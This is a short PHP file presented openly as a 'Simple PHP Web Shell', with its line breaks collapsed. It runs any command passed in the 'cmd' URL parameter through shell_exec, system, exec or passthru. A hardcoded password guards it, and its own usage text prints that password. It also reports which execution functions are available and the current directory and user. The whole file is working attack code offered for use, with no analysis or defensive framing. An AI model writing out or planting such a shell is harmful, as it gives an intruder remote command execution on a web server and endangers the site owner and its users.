// Simple PHP Web Shell// Usage: webshell.php?cmd=whoamierror_reporting(0);header("Content-Type: text/plain");// Password protection (optional)$password = "secret123";if(isset($_GET['pass']) && $_GET['pass'] === $password) {    $auth = true;} else {    $auth = false;}// Check if command is providedif(isset($_GET['cmd']) && $auth) {    $cmd = $_GET['cmd'];        // Basic command execution    if(function_exists('shell_exec')) {        echo "=== SHELL_EXEC ===\n";        echo shell_exec($cmd);    } elseif(function_exists('system')) {        echo "=== SYSTEM ===\n";        system($cmd);    } elseif(function_exists('exec')) {        echo "=== EXEC ===\n";        exec($cmd, $output);        echo implode("\n", $output);    } elseif(function_exists('passthru')) {        echo "=== PASSTHRU ===\n";        passthru($cmd);    } else {        echo "No execution functions available";    }} elseif(isset($_GET['cmd'])) {    echo "Authentication required. Use ?pass=secret123&cmd=whoami";} else {    echo "Simple PHP Web Shell\n";    echo "Usage: webshell.php?pass=secret123&cmd=whoami\n";    echo "Available functions:\n";        $functions = ['shell_exec', 'system', 'exec', 'passthru'];    foreach($functions as $func) {        echo "- $func: " . (function_exists($func) ? "AVAILABLE" : "NOT AVAILABLE") . "\n";    }        echo "\nCurrent directory: " . getcwd() . "\n";    echo "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown') . "\n";}